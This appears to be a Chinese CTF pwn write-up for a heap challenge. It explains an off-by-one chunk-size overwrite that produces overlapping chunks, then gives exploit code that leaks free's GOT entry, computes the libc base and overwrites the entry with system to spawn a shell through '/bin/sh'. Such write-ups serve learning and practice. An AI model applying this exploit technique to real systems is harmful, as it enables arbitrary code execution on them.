1检查
2运行程序
增加一个堆
然后查看堆块中的内容
新增的是这两个位置
第一个估计放的是函数,第二个位置放的是存放的内容
然后ida看眼内容,确实填充的是printf函数
然后看漏洞啥的
这边的指针已经帮你归零了,所以也没啥可说的
然后当时没啥想法,后来看了别的师傅的,才知道off by one
3漏洞简介
空间的重复利用,堆的内容可以写到下一个堆的pre-size,也就是说我们可以通过申请特定大小的堆对下面的内容进行更改
4利用思路
add(0x18,"aaaa")
add(0x10,"bbbb")
add(0x10,"cccc")
其中0x18是为了实现空间复用
然后通过覆盖将0x21改为0x41
然后free后bins里将会有大小为0x20和0x40两个大小的内存,此时申请新的堆块将会将0x40的部分作为内容,此时将原来的content内容(此时的指针指向仍然没有改变)改为free的got表地址,这里就是一个堆的复用,此时对于大小为0x40的堆的内容修改将会改变大小为0x20的堆的内容
此时申请的堆块黄色的部分是重叠区域
申请出来的堆应该是
但是对于之前的绿色的堆块
通过对0x41的内容堆块更改,就可以改变下方大小为0x21的堆块内的内容
此时黄色框中的内容将会既作为struct的内容也作为填充的内容,充当红色区域的内容
此时我们就可以通过修改0x41大小的堆的内容,修改大小为0x21的堆块的内容,从而通过调用做上面的大小为0x21的堆块实现堆块的调用
而且之前的checksec显示说明我们可以通过对got表进行劫持进行使用,然后我们首先找到free的got表位置,
free_got = elf.got['free']
然后通过printf函数将got表位置弄出来,然后libc计算偏差,最后计算出system的地址,然后将free的got表地址修改为system的地址,然后此时free一个内部内容是bin/sh的堆块就可以进行系统调用
5具体过程
申请堆块后
edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x41')/编辑第一个堆的内容,先放入bin/sh方便后面free调用,然后两个0占位,最后的41修改后一个堆块的大小
delete(1)
然后再把这大小为0x40的堆块申请出来,其中64(0)*4将前面结构体大小为0x20大小的内容进行覆盖
alloc(0x30,p64(0)*4+p64(0x30)+p64(elf.got['free']))
然后输出堆里的内容并且接收
show(2)
free_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
最后libc计算出system的地址并且修改got表,delete1号堆,调用bin/sh
base_addr = free_addr - libc.symbols['free']
system_addr = base_addr + libc.symbols['system']
edit(2,p64(system_addr))
delete(0)